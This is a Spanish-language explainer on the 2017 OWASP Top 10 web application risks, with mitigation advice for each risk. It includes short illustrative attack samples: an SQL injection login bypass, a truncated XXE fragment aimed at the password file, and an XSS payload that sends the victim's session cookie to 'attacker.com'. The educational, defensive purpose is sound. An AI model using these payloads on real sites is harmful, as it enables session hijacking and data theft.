Top 10 Common Web Attacks: Los primeros pasos para proteger su sitio web

Una estadística común a menudo compartida por los profesionales de InfoSec es «el 78% de los ataques son contra la aplicación».

No pasa una semana sin que se escuche de otra brecha o vulnerabilidad masiva, que afecta a millones de usuarios en todas las industrias. Tanto si esa cifra es exacta como si en realidad es sólo el 74% (o más probablemente cerca del 85%), una cosa está clara: nuestros sitios web están en riesgo, y si el suyo no ha sido atacado todavía es sólo cuestión de tiempo y dinero (y de motivación de los atacantes).

Un aspecto interesante que tienen en común muchos de estos ataques es que no son altamente técnicos y sólo realizables por los equipos avanzados de hackers sentados en el sótano de la NSA. La fuente más común de estos ataques es un grupo conocido como «script kiddies», jóvenes sin formación que simplemente descargan kits de herramientas automatizados de Internet e intentan crackear cualquier sitio al azar que ofrezca vulnerabilidades fácilmente explotables. Incluso los ciberdelincuentes más hábiles comienzan sus primeros intentos utilizando los mismos kits de herramientas (o versiones ligeramente más avanzadas de ellos).

¿Por qué debería importarnos? Porque esto significa que los ataques más comunes, y las vulnerabilidades más comúnmente explotadas, serán siempre la primera y más débil cadena de nuestra defensa.

En consecuencia, este debe ser también el punto en el que concentremos nuestros esfuerzos iniciales para apuntalar esa defensa. Por suerte, también resulta ser el punto más fácil de probar y garantizar al menos un nivel mínimo de seguridad.

Estas vulnerabilidades comunes han sido recopiladas en una lista de los «Diez Principales» por los amables voluntarios de OWASP – el Proyecto Abierto de Seguridad de Aplicaciones Web, una organización benéfica mundial sin ánimo de lucro centrada en la mejora de la seguridad del software.

Aunque esta lista de los Diez Principales no es realmente una «lista de control de seguridad», a menudo es el primer conjunto de vulnerabilidades que los atacantes intentarán. Del mismo modo, hay una plétora de herramientas automatizadas que escanearán su sitio web al servicio de los atacantes, permitiéndoles descubrir rápidamente las fallas críticas que les otorgarán acceso a sus objetos de valor.

Aquí están los 10 principales riesgos de seguridad de las aplicaciones de OWASP, edición 2017:

1. Inyección

Un atacante puede ser capaz de manipular su aplicación web para alterar los comandos enviados a sus subsistemas, simplemente enviando solicitudes malformadas con cargas útiles contaminadas. El más conocido de estos ataques es la inyección SQL, en la que un usuario de su sitio web puede hacer que su aplicación cambie esto:

select * from users where username=’AviD’ and password=’1234′
a esto:
select * from users where username=’Admin’

Esto permite al atacante iniciar sesión en su aplicación como administrador, sin ni siquiera conocer la contraseña. Otros usos de este ataque serían robar secretos (o dinero), cambiar datos o incluso borrar todo rastro de actividad.

Otras formas incluyen la Inyección LDAP, la Inyección XPath, la Inyección de Comandos, la Inyección SMTP – cualquier momento en que la aplicación concatena entradas de usuario no confiables en un comando que se pasa a un intérprete. Los datos anormales pueden engañar al intérprete para que ejecute comandos no deseados o acceda a datos sin la debida autorización.

Estos ataques pueden evitarse con bastante facilidad siguiendo algunos principios:

• Validar toda la entrada no fiable con un enfoque de lista blanca, independientemente de la fuente.
• Acceda siempre a la base de datos sólo con consultas parametrizadas y procedimientos almacenados, en lugar de concatenar una consulta de cadena.
• Mejor aún, utilice una biblioteca ORM (Object Relational Mapping) adecuada (como Hibernate, Entity Framework, ActiveRecord por nombrar algunos, dependiendo de su plataforma).
• Limite el daño potencial de un exploit exitoso reduciendo los privilegios de la base de datos de la aplicación.

2. Autenticación rota Autenticación rota

La mayoría de las aplicaciones requieren que sus usuarios inicien sesión antes de usarla, a menudo con una combinación de nombre de usuario y contraseña. Hay muchos tipos de fallos comunes con este sistema de autenticación, que pueden ser explotados de varias maneras: ataques de diccionario, fuerza bruta automatizada, relleno de credenciales, secuestro de sesión, y más.

Un atacante que logra adivinar una contraseña válida sería capaz de hacerse pasar por ese usuario y realizar cualquier acción que su víctima pudiera hacer – sin poder diferenciar entre el atacante y la víctima.

Para evitar esto es necesario un enfoque multicapa:

• Cambiar todas las contraseñas por defecto.
• Imponer contraseñas fuertes y aleatorias a todos los usuarios: al menos 12 caracteres aleatorios, sin restricciones, preferiblemente almacenadas en un gestor de contraseñas; o alternativamente, una frase de contraseña con al menos 5 palabras aleatorias.
• Limitar los intentos de inicio de sesión, bloqueando la cuenta del usuario durante un período de tiempo después de un cierto número de contraseñas erróneas.
• Utilizar un gestor de sesiones de plataforma segura, que genere aleatoriamente identificadores de sesión largos e implemente un ciclo de vida de sesión seguro.
• Proteja las contraseñas con un algoritmo criptográfico de «hash de contraseñas», como Bcrypt, scrypt o Argon2.

También considere la posibilidad de implementar la autenticación multifactor para mitigar los ataques basados en contraseñas, y no permita que un atacante se salte su contraseña conociendo el nombre de su gato en la página «Forgot Password». Hay algunos detalles adicionales que pueden ser relevantes, dependiendo de su arquitectura y contexto específicos.

3. Exposición de datos sensibles

Los datos secretos normalmente necesitan ser protegidos con encriptación y otros algoritmos criptográficos. Sin embargo, esto se implementa con demasiada frecuencia, si es que se implementa, de manera incompleta, lo que permite a los atacantes apoderarse de información sensible que no deberían poder, incluyendo contraseñas, tarjetas de crédito, información personal (PII) y otros datos críticos para el negocio.

Algunas fallas comunes incluyen no cifrar los datos; crear un esquema de cifrado personalizado en lugar de algoritmos y protocolos estándar; usar claves débiles; exponer las claves de cifrado; y no implementar los protocolos correctamente, e.Por ejemplo, no validar un certificado TLS.

El uso de controles criptográficos adecuados (como el cifrado AES para los datos almacenados y TLS con HSTS activado para el tráfico), con los parámetros correctos, debería proteger ampliamente sus datos sensibles tanto en reposo como en tránsito.

4. Entidades externas XML (XXE)

A menudo, las aplicaciones necesitan recibir y procesar documentos XML de los usuarios. Los analizadores XML antiguos o mal configurados pueden habilitar una característica XML conocida como referencias a entidades externas dentro de los documentos XML, que cuando se evalúan incrustan el contenido de otro archivo. Los atacantes pueden abusar de esto para leer datos confidenciales, acceder a sistemas internos e incluso cerrar la aplicación en un ataque de denegación de servicio (DoS).

Por ejemplo, un documento XML que contenga esto:

]>&xxe;

incluiría el contenido del archivo de contraseñas dentro del documento XML.

Esto puede evitarse simplemente deshabilitando la evaluación de DTD y entidades externas en el parser, o actualizando a una biblioteca de parser moderna que no sea vulnerable.

5. Control de acceso roto

La mayoría de las aplicaciones web limitan lo que los usuarios pueden ver o hacer, ya sea acceder a los datos personales de otro usuario o a un área restringida.

Sin embargo, los mecanismos de control de acceso que hacen cumplir estos límites suelen ser implementaciones a medida y a menudo profundamente defectuosas. Los atacantes pueden saltarse estos controles o abusar de ellos para acceder a funcionalidades o datos no autorizados, como acceder a las cuentas de otros usuarios, ver archivos sensibles, modificar los datos de otros usuarios, realizar acciones administrativas, etc.

La corrección y prevención de los fallos de control de acceso requiere una visión sistémica. Es necesaria una revisión completa y en profundidad de todas las características de la aplicación, los requisitos del sistema, los roles de los usuarios y otras restricciones. Hay varios modelos comunes que se pueden aplicar, dependiendo de los requisitos. Los más comunes incluyen el Control de Acceso Basado en Roles (RBAC), el Control de Acceso Discrecional (DAC), y el Control de Acceso Basado en la Integridad o el Control de Acceso Obligatorio (MAC).

Otros modelos más especializados pueden estar basados en Atributos (ABAC), Políticas (PBAC), Contexto (CBAC), y clasificación (existen varios modelos, especialmente en el DoD), así como varios otros esquemas personalizados. Es importante diseñar bien el modelo de control de acceso, de modo que pueda aplicarse de manera uniforme y administrarse con eficacia. Hay que partir del principio del mínimo privilegio, y sólo autorizar cuando sea necesario.

Además, muchos sistemas deben considerar la aplicación de controles de acceso a los datos personales de los usuarios desde la perspectiva de la privacidad. Cada vez es más importante preservar adecuadamente la privacidad de los usuarios y evitar el acceso sin consentimiento, especialmente a la luz de la actualización del GDPR de la UE.

6. Desconfiguración de la seguridad

Los servidores y las aplicaciones tienen muchas piezas móviles que deben estar todas configuradas correctamente. Esto se aplica a todos los niveles de la pila de aplicaciones, desde el sistema operativo y los dispositivos de red hasta el servidor web y la propia aplicación.

Las configuraciones predeterminadas, incompletas o ad hoc pueden dejar los archivos sin protección, las contraseñas predeterminadas habilitadas, los servicios en la nube abiertos y filtrar información sensible a través de los mensajes de error o las cabeceras HTTP, así como otras numerosas configuraciones inseguras que podrían permitir a un atacante obtener acceso al sistema o a los datos.

Por supuesto, no hay una única configuración que evite esta vulnerabilidad. Se deben revisar todas las configuraciones potencialmente vulnerables. Tenga en cuenta que esto también incluye las actualizaciones y parches oportunos del sistema.

7. Cross-Site Scripting (XSS)

Usando XSS, un atacante puede modificar las páginas web que otros usuarios ven en su aplicación, ya sea para robar información como contraseñas y tarjetas de crédito, difundir datos falsos, secuestrar sesiones de usuario, redirigir a otro sitio o ejecutar scripts maliciosos en el navegador de la víctima.

Esta vulnerabilidad puede ocurrir siempre que se incluyan datos no confiables en una página web o respuesta, sin la validación o sanitización adecuada. El atacante puede enviar formularios con fragmentos de HTML o JavaScript, que serán incrustados directamente en la página y renderizados por el navegador.

Por ejemplo, este código de servidor:

response.write(«Buenos días, » + request.getParameter(«Nombre»));

incorpora el parámetro Nombre del usuario directamente en la salida. Esto pretende devolver la siguiente página, si el nombre del usuario es «Juan»:

Buenos días, Juan

En cambio, un atacante puede inyectar un payload malicioso:

Buenos días, Jefedocument.location=’http://attacker.com/?cookie=’+document.cookie

que será ejecutado por el navegador del usuario, enviando su cookie de sesión al atacante y permitiéndole secuestrar la sesión.

La principal protección contra los ataques XSS es el uso de una codificación adecuada. Por ejemplo, la codificación HTML convertirá todos los caracteres «especiales» en entidades HTML, de forma que se muestren igual al usuario pero no sean reconocidos por el parser como etiquetas HTML válidas. Sin embargo, hay otras formas de codificación que deberían utilizarse dependiendo del contexto específico de la salida de datos – por ejemplo, codificación de atributos, codificación de JavaScript, codificación de CSS, etc. La mayoría de las plataformas web modernas proporcionan esta funcionalidad de forma automática o como una llamada a la función, y hay un montón de bibliotecas de seguridad para los que no lo hacen.

Además, es una buena idea para implementar la Política de Seguridad de Contenidos (CSP), para evitar que el navegador de la representación de un ataque XSS que consiguió a través. Además, configure sus cookies de sesión (ya sea en el código de su aplicación o en la configuración del servidor web) para incluir el atributo HttpOnly, para evitar que los exploits XSS exitosos secuestren las sesiones de sus usuarios.

8. Deserialización Insegura

La más reciente adición a esta lista, la Deserialización Insegura puede permitir ataques de inyección y escalada de privilegios, e incluso conducir a la ejecución remota de código y la toma de posesión del servidor en ciertas situaciones.

Muchas aplicaciones necesitan serializar objetos y datos en un formato que pueda ser fácilmente transmitido a través del cable, o incluso persistir en un archivo. Cuando una aplicación restaura estos objetos de nuevo en la memoria mediante la deserialización de los datos formateados recibidos de un usuario, podría ser posible manipular la memoria del objeto, e incluso hacer que se ejecuten funciones arbitrarias.

¡La mejor manera de evitar la Deserialización Insegura es no deserializar nunca objetos a partir de datos no confiables! Es mucho mejor evitar los formatos de deserialización nativos por completo siempre que sea posible, prefiriendo en su lugar un formato de datos como XML o JSON.

Si es necesario deserializar desde el formato nativo, ser capaz de hacerlo de forma segura requiere entender las interioridades de su lenguaje de programación. Hay varios pasos necesarios para hacerlo de forma segura, dependiendo del lenguaje en el que se haya desarrollado tu aplicación. Por ejemplo, en Java puedes subclasificar la clase java.io.ObjectInputStream. Además, se recomienda sólo deserializar a partir de datos que su aplicación haya firmado digitalmente.

9. Uso de componentes con vulnerabilidades conocidas

El software moderno ya no se construye como un monolito – siempre depende de un número cada vez mayor de componentes de terceros, frameworks y bibliotecas de código abierto. Cualquier vulnerabilidad conocida encontrada en estas dependencias puede afectar directamente a tu propia aplicación también. A veces esto conducirá a otras vulnerabilidades en esta lista, como la inyección, la ejecución remota de código, o cualquier otro defecto que podría permitir a los atacantes acceder a datos o acciones sensibles.

Recientemente, justo un problema de este tipo fue culpado por la violación masiva de Equifax, donde no instalaron un parche para Apache Struts2. En su lugar, permanecieron en una versión que era conocida por permitir a los atacantes remotos ejecutar comandos arbitrarios.

La mejor manera de evitar caer en esta trampa es revisar todas sus dependencias (incluyendo las dependencias transitivas), y comprobar si alguna de ellas es actualmente vulnerable. Implementa un proceso para asegurarte de que tu aplicación siempre saca las últimas versiones estables de todas las bibliotecas y componentes dependientes después de probarlas. De hecho, actualmente hay numerosas herramientas comerciales que pueden rastrear esto para su equipo, así como el Dependency-Check gratuito de OWASP.

10. Registro insuficiente & Monitoreo

Aunque tratamos de hacer que nuestros sistemas sean inmunes a todos los ataques posibles, siendo realistas debemos aceptar que algunos ataques atravesarán nuestras defensas. Sin embargo, una defensa resistente debe incluir varias capas. Esto incluye la posibilidad de detectar aquellos ataques que han tenido éxito a pesar de todos nuestros esfuerzos, preferiblemente tan pronto como sea posible.

Esto aún podría permitir a una organización recuperarse del ataque, o incluso minimizar los daños tanto como sea posible. Un mecanismo de registro y monitorización, combinado con una respuesta efectiva a los incidentes, puede evitar que los atacantes pivoten hacia recursos internos adicionales, incrustándose permanentemente en la organización, e impedirles robar o alterar aún más datos.

Implementar un mecanismo de registro común para toda la aplicación. Es mejor utilizar una biblioteca existente, como log4J, pero no es necesario. El mecanismo de registro debe recoger todas las acciones iniciadas por el usuario, los errores en tiempo de ejecución y cualquier otro evento sensible. Asegúrese de que los datos de registro están bien protegidos, y no se olvide de proporcionar a los administradores una interfaz de búsqueda y revisión!

La buena noticia es que la mayoría de estos son problemas relativamente simples, y fáciles de prevenir si usted sabe qué buscar. Por lo tanto, aunque esta no es una lista completa de todos los problemas de seguridad a los que debe prestar atención, es definitivamente uno de los mejores lugares para comenzar su expedición hacia un sitio web protegido!